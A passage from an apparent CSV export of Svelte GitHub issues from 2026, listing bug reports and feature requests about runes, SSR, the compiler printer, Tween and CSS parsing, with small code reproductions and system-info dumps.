We've got the renovate PR here https://github.com/immich-app/immich/pull/28434 which also has a preview environment you can open. For the credentials please either reach out on Discord (`@ddietzler` or just ask in a general channel), or ask @benmccann.

### Logs

```shell
[svelte] derived_inert
Reading a derived belonging to a now-destroyed effect... [TRUNCATED]",,2026-05-18T14:36:00Z,2026-05-18T15:55:26Z,1
sveltejs/svelte,4461357547,False TS2367 error: $state with explicit type annotation infers initializer literal type instead of declared type,"### Describe the bug

I'm getting a TS2367 error in both the editor and  svelte check from the following:

```svelte
<script lang='ts'>
  const colors = [
    'red',
    'orange',
    'yellow',
    'green',
    'blue',
    'indigo',
    'violet',
    'black',
    'white',
  ] as const;
  type Color = (typeof colors)[number];
  let favorite: Color = $state('red');
  // the following errors....
  let isMonochrome: boolean = $derived(
    favorite === 'black' || favorite === 'white',
  );
  // but this does not...
  let isMonochrome2: boolean = $derived(
    ['black', 'white', 'gray'].includes(favorite),
  );
</script>
```
From the fact that`isMonochrome` errors and `isMonochrome2` does not, I think the `let favorite: Color = $state('red');` is being typed as `string` rather than `Color`.

Here are the errors:

```
This comparison appears to be unintentional because the types '""red""' and '""black""' have no overlap.
This comparison appears to be unintentional because the types '""red""' and '""white""' have no overlap.
```

### Reproduction

https://github.com/cdcarson/svelte-lang-false-TS2367

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.3.1
    CPU: (11) arm64 Apple M3 Pro
    Memory: 237.05 MB / 18.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.1 - /Users/cdcarson/.nvm/versions/node/v24.11.1/bin/node
    npm: 11.6.2 - /Users/cdcarson/.nvm/versions/node/v24.11.1/bin/npm
    pnpm: 10.33.0 - /Users/cdcarson/Library/pnpm/pnpm
    bun: 1.3.2 -... [TRUNCATED]",,2026-05-16T21:29:01Z,2026-05-16T22:44:02Z,2
sveltejs/svelte,4453517993,createSubscriber gets called outside of reactive context access,"### Describe the bug

```ts
const subscribe = createSubscriber((upd) => {
	setup(upd);
	return cleanup;
});

let source = {
	get current() {
		subscribe();
		return 1;
	},
};

let derived = $derived(source.current);
```
If we use a reactive value created with `createSubscriber` - reading `source.current` in some non-reactive context won't trigger subscription (as expected) but reading `derived` will (because derived body is considered a tracking context). 

### Reproduction

https://svelte.dev/playground/b7b27d1892cd4921b37e0c9116506f51?version=5.55.7

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.3.1
    CPU: (8) arm64 Apple M3
    Memory: 101.41 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 25.6.1 - /Users/evperminov/.nvm/versions/node/v25.6.1/bin/node
    npm: 11.9.0 - /Users/evperminov/.nvm/versions/node/v25.6.1/bin/npm
    bun: 1.3.12 - /Users/evperminov/.bun/bin/bun
  Browsers:
    Chrome: 148.0.7778.168
    Safari: 26.3.1
  npmPackages:
    svelte: ^5.55.5 => 5.55.7
```

### Severity

blocking an upgrade",,2026-05-15T11:26:56Z,2026-05-15T11:54:25Z,25
sveltejs/svelte,4450674360,Stale $derived value in $effect cleanup,"### Describe the bug

Some weird combination of `$derived` and `$effect`  produces stale derived values on effect cleanup

Below I've provided as minimal reproduction as I could conjure - I've discovered it while implementing an abstraction for async derived state in our app (we're not using experimental await in derived syntax) where we rely on `createSubscriber` to setup an effect watching a derived promise to set the state on promise resolution. `createSubscriber` seems to be the only way in user land to have an effect running inside a derived.

Bug was discovered on version `5.47.1` but is reproducible on the latest version as well

### Reproduction

https://svelte.dev/playground/21cd2acb65a6451ca754a6c9326ba1df?version=latest
When clicking update - it will display an object with fields state and derived which contain different values despite being snapshots taken at the same time during cleanup.

or with vitest
```ts
import { tick } from ""svelte"";
import { expect, test, vi } from ""vitest"";

test(""reproduces a derived tear"", async () => {
	let source = $state(""a"");
	let derived = $derived(source);
	let tear: unknown;

	const unsub = $effect.root(() => {
		$effect(() => {
			const cleanup = $effect.root(() => {
				$effect(() => {
					derived;
				});

				return () => {
					tear = { source, derived };
				};
			});

			return () => {
				queueMicrotask(cleanup); // analogous to createSubscriber cleanup
			};
		});
	});

	await tick();
	queueMicrotask(unsub);

	source = ... [TRUNCATED]",,2026-05-15T02:09:48Z,2026-05-19T21:05:43Z,5
sveltejs/svelte,4449158603,"""Batch has scheduled roots"" invariant_violation error after updating to 5.55.6","### Describe the bug

Hello! I was noticing some issues with a page on my SvelteKit app that I believe was caused by using the experimental async / remote functions (https://github.com/sveltejs/svelte/issues/18097). After updating, the issue has worsened and the page is now completely broken, giving `fn is not a function` and then `Svelte error: invariant_violation` in the browser console.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-biy9yopz?description=The%20default%20SvelteKit%20template,%20generated%20with%20create-svelte&title=SvelteKit%20Default%20Template

Original project: https://github.com/RestartB/titanium-dashboard

### Logs

```shell
[Error] TypeError: fn is not a function. (In 'fn()', 'fn' is null)

	in <unknown>
	in ToggledContent.svelte
	in +page.svelte
	in +layout.svelte
	in +layout.svelte
	in root.svelte
	in undefined

	invoke_error_boundary (chunk-CJFVPO5Z.js:772)
	handle_error (chunk-CJFVPO5Z.js:752)
	#run (chunk-CJFVPO5Z.js:1384)
	(anonymous function) (chunk-CJFVPO5Z.js:1299)
	run_all (chunk-CJFVPO5Z.js:45)
	run_micro_tasks (chunk-CJFVPO5Z.js:718)
	(anonymous function) (chunk-CJFVPO5Z.js:724)

[Error] Svelte error: invariant_violation
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation
	invariant_... [TRUNCATED]",,2026-05-14T20:46:43Z,2026-06-01T20:50:28Z,20
sveltejs/svelte,4437043255,Printer prints type imports with as incorrectly,"### Describe the bug

When an import is both a type import and has a renaming in it, the printer prints it back wrong.

### Reproduction

```javascript
import { print, parse } from ""svelte/compiler""; // 5.55.5

const code = `<script lang=""ts"">import { foo, type bar as baz } from ""bof"";</script>`;

const parsed = parse(code, { filename: ""foobar.svelte"", modern: true });

const printed = print(parsed).code;

console.log(printed);
/*
<script lang=""ts"">
        import { foo, bar as type baz } from ""bof"";
</script>
*/
```

""bar as type baz"" is invalid syntax, and it should be printed as ""type bar as baz"".

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.4.1
    CPU: (16) arm64 Apple M3 Max
    Memory: 90.56 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.12.0 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/node
    Yarn: 1.22.22 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/yarn
    npm: 11.6.2 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/npm
    pnpm: 11.1.1 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/pnpm
  Browsers:
    Safari: 26.4
  npmPackages:
    svelte: 5.55.5 => 5.55.5
```

### Severity

annoyance",,2026-05-13T10:25:30Z,2026-05-21T20:02:46Z,1
sveltejs/svelte,4432471538,Printer cannot print css keyframes with percent stops correctly,"### Describe the bug

When asked to print `@keyframes`, the printer adds extra `%` that invalidate the CSS.

### Reproduction

```js
import { print, parse } from ""svelte/compiler""; // 5.55.5

const code = `<style>@keyframes foo { 0% { left: 0px; } 100% { left: 100px; } }</style>`;

const parsed = parse(code, { filename: ""foobar.svelte"", modern: true });

const printed = print(parsed).code;

console.log(printed);

/*
<style>
        @keyframes foo {
                0%% {
                        left: 0px;
                }
                100%% {
                        left: 100px;
                }
        }
</style>
*/
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.4.1
    CPU: (16) arm64 Apple M3 Max
    Memory: 93.39 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.12.0 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/node
    Yarn: 1.22.22 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/yarn
    npm: 11.6.2 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/npm
    pnpm: 11.1.1 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/pnpm
  Browsers:
    Safari: 26.4
  npmPackages:
    svelte: 5.55.5 => 5.55.5
```

### Severity

annoyance",,2026-05-12T20:39:05Z,2026-05-18T15:54:34Z,0
sveltejs/svelte,4432462709,Printer cannot print svelte:body,"### Describe the bug

When the compiler printer is asked to print a `svelte:body` tag, it crashes.

### Reproduction

```js
import { print, parse } from ""svelte/compiler""; // 5.55.5

const code = `<svelte:body />`;

const parsed = parse(code, { filename: ""foobar.svelte"", modern: true });

const printed = print(parsed).code; // crash: ""Error: Not implemented: SvelteBody""
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.4.1
    CPU: (16) arm64 Apple M3 Max
    Memory: 93.39 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.12.0 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/node
    Yarn: 1.22.22 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/yarn
    npm: 11.6.2 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/npm
    pnpm: 11.1.1 - /Users/nmain/.nvm/versions/node/v24.12.0/bin/pnpm
  Browsers:
    Safari: 26.4
  npmPackages:
    svelte: 5.55.5 => 5.55.5
```

### Severity

annoyance",,2026-05-12T20:37:29Z,2026-05-18T15:54:33Z,0
sveltejs/svelte,4412213701,Document the minimum supported browser version,"### Describe the problem

Svelte currently does not appear to document a clear browser support baseline.

This became relevant after we were asked whether Svelte works in IE11. Obviously, in 2026, that is an unusual and arguably outdated requirement. However, the question came up in the context of a government-related inquiry, so we need to be able to provide a serious and defensible answer.

At the moment, it is not immediately clear from the documentation which browsers Svelte officially supports, or whether Svelte relies on browser APIs that require certain minimum browser versions.

Take these questions for example:

- Does Svelte support IE11 at all?
- Is there a minimum supported Chrome, Firefox, Safari, or Edge version?
- Are there known runtime APIs used by Svelte that require modern browsers?
- Is browser support entirely delegated to the user’s build tooling and polyfill strategy?
- Does this differ between Svelte itself and SvelteKit?

I tried searching answers for these in the documentation by searching for terms such as “compatibility”, “browser”, and “requirements”, but I could not find a clear answer or baseline support statement.

### Describe the proposed solution

Add a dedicated Browser Support or Compatibility section to the Svelte documentation.

This section does not necessarily need to provide an exhaustive browser matrix, but it should give users a clear baseline answer. For example, it could explain:

- Whether Svelte's generated runtime code official... [TRUNCATED]",,2026-05-09T10:39:51Z,2026-05-28T18:19:58Z,2
sveltejs/svelte,4406552751,SSR compiler does not unwrap $derived thunk for dynamic components with member expressions,"### Describe the bug

In SSR mode, when a dynamic component is rendered via a member expression (<a.b.c />) where a is a $derived, the compiler outputs a.b.c directly instead of a().b.c. Since server-side $derived returns a thunk (function) after [#17674](https://github.com/sveltejs/svelte/pull/17674), a.b is undefined and accessing a.b.c throws TypeError: Cannot read properties of undefined (reading 'c').

The client compiler handles this correctly by emitting $.get(a).b.c.

**Workaround**

Capture each access in its own $derived:

```
<script>
  const platformIcons = $derived(icons);
  const Icon = $derived(platformIcons.currency.Icon);
</script>
<Icon />
```

That generates $.derived(() => platformIcons().currency.Icon), which works.

### Reproduction

https://svelte.dev/playground/2fa2e050cfa44e94a3141dca53ce4ac2?version=latest
```
<script>
  let icons = $state({ currency: { Icon: () => 'x' } });
  const platformIcons = $derived(icons);
</script>

<platformIcons.currency.Icon />
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.19 Fedora Linux 43 (KDE Plasma Desktop Edition)
    CPU: (12) x64 AMD Ryzen 5 7500F 6-Core Processor
    Memory: 14.92 GB / 31.05 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 24.14.0 - /home/envyvox/.local/share/pnpm/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 11.9.0 - /home/envyvox/.local/share/pnpm/npm
    pnpm: 10.32.1 - /home/envyvox/.local/share/pnpm/pnpm
  Browsers:
    Fire... [TRUNCATED]",,2026-05-08T12:56:52Z,2026-05-08T16:08:28Z,0
sveltejs/svelte,4401060740,"Can't access property ""is_rendered"" of null","### Describe the bug

Intermittently happens in both prod and dev when navigating from one page to another.  The navigation will indefinitely osculate between the old and new page until the browser is manually refreshed.  Below is the error logged in the console.  This error is logged on every page navigation osculation.

Uncaught (in promise) TypeError: can't access property ""is_rendered"" of null
    async_derived deriveds.js:182
    update_reaction runtime.js:259
    update_effect runtime.js:468
    create_effect effects.js:138
    async_effect effects.js:368
    async_derived deriveds.js:129
    run3 async.js:81
    run3 async.js:81
    flatten async.js:90
    promise callback*flatten async.js:88


### Reproduction

It intermittently happens, and I have no idea why.  I'm not looking to fix the underlying issue, just a better error message so I can fix my code would be great

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (16) x64 Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz
    Memory: 7.08 GB / 31.91 GB
  Binaries:
    Node: 22.22.1 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.4 - C:\nvm4w\nodejs\npm.CMD
    pnpm: 10.11.0 - C:\Users\tyler\AppData\Roaming\npm\pnpm.CMD
    bun: 1.3.9 - C:\Users\tyler\.bun\bin\bun.EXE
  Browsers:
    Chrome: 147.0.7727.138
    Edge: Chromium (140.0.3485.94)
    Internet Explorer: 11.0.26100.8115
```

### Severity

annoyance",,2026-05-07T18:25:55Z,2026-05-22T15:48:33Z,4
sveltejs/svelte,4366388341,Element with two awaited properties throws an error during SSR,"### Describe the bug

This example crashes during SSR but works fine during CSR:

```svelte
<script>
  const user = $derived(Promise.resolve({ name: 'test', image: '' }))
</script>

<img
  alt={(await user).name}
  src={(await user).image}
/>
```

### Reproduction

[playground](https://svelte.dev/playground/hello-world?version=5.55.5#H4sIAAAAAAAAA22OwWrDMAyGX8WIQRMo6d2khd523H3ZwY3VInDsYKnJSsi712oGg7Hj__3SJy0Q3YBg4R1DSGZOOXhToSdBX8MerhSQwX4uII9R5xQU_rN1HseGJwyi7OIY_-N9ioJRigZa7jONcupiJwWzmDtjNkfz5jHThL76yGkgxiYjpzBhtRid7UTF1uwEWXb7DdHgbsq2vNZ1F9vD74HY0nDTxgU5LpWbHW3n6kZlq1ac-z_VS1q6Q1GU3wW_BazkO65fJTkKM0UP9uoC4_oESUEfQT4BAAA) - only repros when run locally

### Logs

```shell
TypeError: Cannot read properties of null (reading 'function')
    at Module.push_element (node_modules/.pnpm/svelte@5.55.5/node_modules/svelte/src/internal/server/dev.js:59:25)
    at eval (src/lib/playground/App.svelte:24:27)
```

### System Info

```shell
System:
    OS: Linux 6.19 Fedora Linux 43 (Forty Three)
    CPU: (32) x64 AMD Ryzen 9 5950X 16-Core Processor
    Memory: 39.73 GB / 62.69 GB
    Container: Yes
    Shell: 4.2.0 - /bin/fish
  Binaries:
    Node: 22.21.1 - /home/otto/.local/share/pnpm/node
    npm: 10.9.4 - /home/otto/.local/share/pnpm/npm
    pnpm: 10.25.0 - /home/otto/.local/share/pnpm/pnpm
    bun: 1.3.9 - /home/otto/.bun/bin/bun
  Browsers:
    Firefox: 149.0.2
    Firefox Developer Edition: 149.0.2
  npmPackages:
    @sveltejs/adapter-auto: ^7.0.1 => 7.0.1 
    @sveltejs/kit: ^2.... [TRUNCATED]",,2026-05-01T19:56:47Z,2026-05-05T18:48:51Z,1
sveltejs/svelte,4365180082,Add possibility to set svelte:boundary `pending` prop to `null`,"### Describe the problem

Quite common navigation pattern this days: non-blocking on client and blocking on server. To achieve this here's [Rich suggested example](https://github.com/sveltejs/kit/discussions/13897#discussioncomment-16775452):

```svelte
{#snippet pending()}
  <div class=""skeleton"">...</div>
{/snippet}

<svelte:boundary pending={browser ? pending : null}>
  <div class=""content"">...</div>
</svelte:boundary>
```

This will result in a warning due to `pending` type - `Snippet` or `undefined`.

This works but doesn't look as *nice*:

```svelte
<svelte:boundary pending={browser ? pending : undefined}>
  <div class=""content"">...</div>
</svelte:boundary>
```

Additionally it also gives eslint `no-undefined` error for me.

### Describe the proposed solution

Would be awesome to be able to pass `null` to `pending` prop, working same as passing `undefined`:

```svelte
<svelte:boundary pending={null}>...</svelte:boundary>
```

### Importance

would make my life easier",,2026-05-01T15:30:27Z,2026-05-12T22:25:12Z,1
sveltejs/svelte,4352042632,$effect.pending() bug with async svelte,"### Describe the bug

Hi all,

I've spent quite some time debugging this issue to find the root source. But it seems that if you utilize an $effect.pending() clause with async Svelte, it will result in state not updating under certain conditions.

This also only happens in **production**, so not when using `npm run dev`.



### Reproduction

Here is the link to a repo which should showcase the issue:
https://github.com/floteslof/svelte-effect-pending-bug

To reproduce the issue, you must execute these steps:
1. Run `npm run build`
2. Run `npm run preview`
3. Navigate to `http://localhost:4173`
4. Click on the first button with `OPEN PANEL PANEL_1`. Make sure it looks like this: 

<img width=""357"" height=""162"" alt=""Image"" src=""https://github.com/user-attachments/assets/a343153d-c7b2-4282-9448-103cbeb6aee1"" />

5. Click on the second button with `OPEN PANEL PANEL_2`. You should notice that the label inside the button still shows `aside.activePanel.id: PANEL_1`, while text below shows `aside.activePanel.id: PANEL_2` correctly. For some reason, the state INSIDE the {#each} is not updated correctly even though it uses the same variable.

<img width=""367"" height=""177"" alt=""Image"" src=""https://github.com/user-attachments/assets/bd258147-d1ca-4267-9e26-9d498da5098e"" />

This is only one example of what may happen. I also encountered issues inside the AsidePanel component in my real code.

The interesting part is:
1. this only happens in production and 
2. if you remove this code from... [TRUNCATED]",,2026-04-29T16:17:22Z,2026-05-12T09:21:18Z,1
sveltejs/svelte,4350054789,"@const inside #if block reads stale value, caused by $inspect in child component.","### Describe the bug

I've run into this a few times now. When using {@const} inside an {#if} block, the const value sometimes doesn't seem to respect the condition, or gets updated out of order relative to the check. The error only occurs when the value is being inspected using `$inspect` in a child component.

### Reproduction

In the playground, toggling data.result throws: TypeError: Cannot read properties of undefined (reading 'items') ...even though the {#if data.result} guard should make this type-safe.

[Playground](https://svelte.dev/playground/bda582387f424db190fa30d51c5334e0?version=5.55.5)

### Logs

```shell
TypeError
TypeError: Cannot read properties of undefined (reading 'items')
    at eval (playground:output:5931:58)
    at update_reaction (playground:output:4478:17)
    at execute_derived (playground:output:2777:13)
    at update_derived (playground:output:2793:15)
    at is_dirty (playground:output:4394:6)
    at flush_eager_effects (playground:output:3061:8)
    at internal_set (playground:output:3044:5)
    at set (playground:output:2958:10)
    at HTMLButtonElement.toggle (playground:output:5915:4)
    at HTMLBodyElement.handle_event_propagation (playground:output:5113:17)
```

### System Info

```shell
System:
    OS: macOS 15.2
    CPU: (8) arm64 Apple M1
    Memory: 244.75 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.17.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /opt/homebrew/bin/yarn
    npm: 10.9.2 - /usr/local/bin/npm
    pnpm:... [TRUNCATED]",,2026-04-29T11:14:29Z,2026-04-30T09:46:00Z,2
sveltejs/svelte,4332439941,Reactive `bind:this` for components in `{#each}` has unexpected behavior,"### Describe the bug

Using a reactive registry/object to bind refs to components rendered in an `{#each}` doesn't always work as expected. In the specific case captured in the reproduction, Svelte sets refs for existing components in the registry to `null` after the keyed `{#each}` block updates, even though the components aren't destroyed.

Hopefully the reproduction makes the exact issue clearer, because this is a little hard to describe. The reproduction is a bit contrived, but it does capture my original use case.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.55.5#H4sIAAAAAAAAE4VU226jMBD9lZE3D6BNoX3YFxZSVfsH0b6VSHGwSawaG9mTpBHi31e2IYFsL0-guZ45c8YdUbThJCNrTisUJw47oViGB2FBKOh-cFodethJXb2RJamF5JZkrx3BS-vSnIEsxyIvbZvYE5fobDtq-Uf2SivkCi3JSG4rI1pclapE0bTaIHQoqrceaqMbKElIKslvFzGJWuvzGJKka31OpoGqRMkR1LGxUMDCIkUevW5iX6TSyiIYffY-xo04cRa52KShbaSgWEHUCZaBWoKDn8HWdVt0qt_2cXxXZc3rSZOujwcA1F5UBfVRVSi0AsrYWp-jGDo_yJAvGBQQelOMHp5ieH6Gxxh-wlMYGL2vPdpDJFg82OiZCgRHUzSaBiCvgm2ek0reXH1Ac8WBRuz33Dgsgl3RfJe-EMq2vMJoCHTOPL3tTuVMnKCS1NqiJI7bkvidBvkEtql1X3A1EsHiPrTOHbeO5qJzDvfX3yTojR5ayNr0kIbCqdel-531dtoyWo79S8x3R0StQCs_V9GFTfSrF8YcnjwNAUP494A_KBnFTjQTaseM1d9gg9ts9_0mc6RMnFaO2PAtVW7xIrmPTDyiYV1M2FbSSwa15O-DAtzvAxOG-z1nUGl5bNSoGCn26kEgb2wGFqnBwbGnbQaPyS_Dm-m-k5HGrzp-kJunI2KyJMjfkWRojrxffvJc3A53_lzM7J88F-7CuyCXAhat0a2N4sn1B5rXvB5s_N0_HNdLGGQ-TngN__p-DlQxyf_Mc6nkBqOtt3LmXgoHaxtPaJmfih_gPxlNas9O4AqtX3X3GhrFMud7syRIhTwLxUhWU2l5_w-8NFqY6AUAAA

To reproduce the problem:

1. Click... [TRUNCATED]",,2026-04-27T00:44:49Z,2026-04-29T17:45:56Z,0
sveltejs/svelte,4325195463,"Tween.set() rejects with AbortError on interruption — undocumented, behavioral regression from tweened store","## Summary

The Svelte 5 `Tween` class (`svelte/motion`) rejects the Promise returned by `set()` with `AbortError: Transition was skipped` whenever a subsequent `set()` call interrupts it. This behavior is **undocumented** and is a **behavioral regression** from the deprecated `tweened` store, which silently never-resolved interrupted animations.

For common fire-and-forget imperative usage (e.g. pan/zoom animations where a new target cuts off a prior one), this surfaces as `unhandledrejection` console noise unless each call site adds a `.catch()`.

## Environment

- Svelte version: \`5.45.6\`
- Browser: Chromium 125+
- Observed in production builds (not a dev-mode only issue)

## Minimal reproduction

\`\`\`svelte
<script>
  import { Tween } from 'svelte/motion';
  import { cubicOut } from 'svelte/easing';

  const tween = new Tween(0, { duration: 400, easing: cubicOut });

  // Catch global unhandled rejections
  window.addEventListener('unhandledrejection', (e) => {
    console.log('UNHANDLED:', e.reason);
  });

  function rapid() {
    // Interrupt before first set() settles — observe unhandledrejection
    tween.set(100);
    setTimeout(() => tween.set(200), 50);
  }
</script>

<button onclick={rapid}>Rapid interrupt</button>
<p>{tween.current}</p>
\`\`\`

Clicking the button logs:
\`\`\`
UNHANDLED: Error: Transition was skipped
    name: 'AbortError'
\`\`\`

## Current behavior

- \`Tween.set()\` returns \`Promise<void>\`.
- Source: internal task is aborted via \`previ... [TRUNCATED]",,2026-04-24T19:46:18Z,2026-04-24T19:47:20Z,2
sveltejs/svelte,4322796389,"5.55.3: $derived first-read in out: transition returns UNINITIALIZED, crashes outro (now with REPL/Playground link)","### Describe the bug

[following is created by Opus 4.7, hope that's fine, feel free to remove and/or request more info]

  After upgrading from 5.55.2 to 5.55.3, a document-level click handler that calls store.set([]) no longer clears items rendered by a sibling {#each $store as item} block. The  store write executes (verified by store.subscribe logging and by later reads), but the {#each} doesn't re-render, so the previously rendered DOM nodes stay visible.

  Identical code is fine on 5.55.2, broken on 5.55.3, nothing else changed.

  Bisect

  5.25.8 ✓ → 5.40.0 ✓ → 5.47.0 ✓ → 5.51.0 ✓ → 5.53.0 ✓ → 5.54.0 ✓ → 5.55.0 ✓ → 5.55.2 ✓ → 5.55.3 ✗ → 5.55.4 ✗ → 5.55.5 ✗

  Candidate from the 5.55.3 notes: fix: freeze deriveds once their containing effects are destroyed (#17921). Unconfirmed.

  Abstract pattern
```svelte
  // store.ts
  import { writable } from 'svelte/store'
  export const items = writable<string[]>([])

  <!-- Renderer.svelte -->
  <script lang=""ts"">
    import { items } from './store'
  </script>
  {#each $items as item}
    <div class=""item-marker"">{item}</div>
  {/each}

  <!-- Listener.svelte -->
  <script lang=""ts"">
    import { onMount } from 'svelte'
    import { items } from './store'

    onMount(() => {
      document.addEventListener('click', (event) => {
        const el = event.target as Element
        if (!el.closest('.item-marker')) {
          items.set([])   // executes on 5.55.3, but {#each} does not update
        }
      })
    })
  </script>... [TRUNCATED]",,2026-04-24T12:10:33Z,2026-05-18T15:36:43Z,7
sveltejs/svelte,4321726173,`{@debug}` of an awaited expression yields an error,"### Describe the bug

If you pass an awaited expression to a `{@debug ...}` statement, it will error.

I found the bug while investigating a regression in our app introduced in 5.55.3 (unrelated to this issue - still trying to reproduce).

Related: #18024

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.55.5#H4sIAAAAAAAAA23MsQrCMBSF4VcJZ1IougcV3RzdjcOtuUowJiX3tlVK312quIjrx_nPgER3hsWeY8ymzyV6M2MflP0cFS4hssAeB-izmXYToPpWu6ZZSMdRJ6tJ-J-fc1JOKrBYfdDWuU2eynPjktNhe85J1HhSMmtDPQU1h5LvQXhRWHLseObQ53ITh_n4aTzX7fXdjC6tlr_HqKD8UFgtLY-nCkoh9iF52AtF4fEFqqBaifoAAAA)

```svelte
<svelte:boundary>
	{@const data = await Promise.resolve(""works"")}
	{@debug data}
</svelte:boundary>
```

### Logs

```shell

```

### System Info

```shell
.
```

### Severity

annoyance",,2026-04-24T08:43:28Z,2026-04-29T18:50:13Z,1
sveltejs/svelte,4316059181,Svelte CSS parser fails on apostrophe in CSS block comment with Unexpected end of input,"### Describe the bug

In a `.svelte` component `<style>` block, a CSS block comment containing an apostrophe (`'`) can break Svelte’s CSS parsing and produce:

`Unexpected end of input`

The error is reported at the end of the style block (`</style>`), even though CSS braces/parens are balanced.

This is **not** a general comment issue: single-line and multi-line CSS comments parse fine unless they include this apostrophe case.

### Expected behavior

Apostrophes inside CSS block comments should be treated as plain comment text and never affect parsing.

### Actual behavior

Svelte reports:

`Unexpected end of input`

at the end of the `<style>` block.



### Reproduction

### Minimal reproduction

```svelte
<style>
	.foo {
		left: min(
			calc(1px),
			/* across rows (so the marker ends at row 1's right edge). Disabled */
			calc(2px)
		);
	}
</style>
```

If I change `1's` to `1s` (remove apostrophe), parsing succeeds.

### System Info

```shell
- Svelte: `5.53.12`
- `svelte-check`: `4.4.5`
- `@sveltejs/kit`: `2.55.0`
- Node: `v22.17.1`
- npm: `11.6.2`
- OS: macOS (Darwin `25.4.0`)

```

### Additional context

- Both single-line and multi-line CSS comments work in this file.
- The failure is tied to the apostrophe character in comment content (e.g. `1's`).
- Error location points to style EOF, not the comment line.


### Severity

annoyance",css,2026-04-23T12:54:46Z,2026-04-29T17:47:13Z,0
sveltejs/svelte,4311817318,Prop defaults from `$props()` are not reactive to changes in referenced `$state`,"### Describe the bug

Prop defaults defined with `$props()` destructuring are not reactive to changes in the reactive values they reference. The fallback is evaluated once (with `untrack()`) and cached — subsequent changes to the underlying `$state` are never reflected.

This affects any pattern where a prop default calls a reactive function:

```svelte
<script>
  import { getTranslation } from './translations.svelte.js';
  let { label = getTranslation('greeting') } = $props();
</script>
```

If `getTranslation('greeting')` returns `""Hello""` at mount time and later changes to `""Hola""`, the component will always display `""Hello""`.

### Root cause

In the compiled output, `$props()` destructuring with a default becomes:

```js
label = $.prop($$props, 'label', 19, () => getTranslation('greeting'))
```

Flag `19` includes `PROPS_IS_LAZY_INITIAL` (16). Inside `$.prop`, the fallback function is evaluated with `untrack()` and cached via a `fallback_dirty` flag that is only reset when the prop is explicitly provided and then removed — not when the reactive dependencies of the fallback change.

### Reproduction

https://svelte.dev/playground/23fb040dbc894601979d7e6e8dc8d633

The reproduction has 3 cases:

1. **Direct template usage** — `{getTranslation('greeting')}` in template markup → **updates correctly** ✅
2. **Prop default on eagerly rendered component** — `let { label = getTranslation('greeting') } = $props()` on a component that mounts before the state changes → **stays stale**... [TRUNCATED]",,2026-04-22T20:55:56Z,2026-04-29T19:10:21Z,0
sveltejs/svelte,4301864713,type transformed by `$state.snapshot`,"### Describe the bug

```svelte
<script lang=""ts"">
  class Bounds {
    sw: [number, number]
    ne: [number, number]

    constructor(sw: [number, number], ne: [number, number]) {
      this.sw = sw
      this.ne = ne
    }

    toJSON(): [number, number, number, number] {
      return [...this.sw, ...this.ne]
    }
  }

  function setBounds(bounds: Bounds) {
    console.log(bounds)
  }

  const config = $state.raw({
    bounds: new Bounds([100, 50], [90, 30]),
  })

  setBounds($state.snapshot(config.bounds))
         // ^ Svelte: Argument of type [number, number, number, number] is not assignable to parameter of type Bounds
</script>
```

caused by https://github.com/sveltejs/svelte/blob/8e7319063aa609cca2cbf8cdf1958e5392dd2fa0/packages/svelte/src/ambient.d.ts#L86

### Reproduction

*

### Logs

```shell

```

### System Info

```shell
*
```

### Severity

annoyance",documentation,2026-04-21T10:10:10Z,2026-04-29T16:34:11Z,3
sveltejs/svelte,4296147446,Batch has scheduled roots,"### Describe the bug

I've gotten this `invariant_violation` error in a bigger Project, but this is the smallest reproduction i was able to create.

The error gets thrown when:
1. A page queries and `await`s data using a remote query
2. A remote `form` gets submitted (not a single-flight mutation)
3. In the `enhance` function of the form a `$state` gets set after `await submit()` has run

If any of the above are not true the error doesn't occur (e.g. the form invalidates the query, the state gets set before the submit function runs)

### Reproduction

https://github.com/felixf2k/bug-invariant-violation

### Logs

```shell
Uncaught Svelte error: invariant_violation
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation
    at invariant_violation (runtime-daVIWO85.js?v=3d3391a3:191:33)
    at invariant (runtime-daVIWO85.js?v=3d3391a3:934:18)
    at #commit (runtime-daVIWO85.js?v=3d3391a3:2000:5)
    at #process (runtime-daVIWO85.js?v=3d3391a3:1886:58)
    at Batch.flush (runtime-daVIWO85.js?v=3d3391a3:1958:17)
    at Array.<anonymous> (runtime-daVIWO85.js?v=3d3391a3:2063:9)
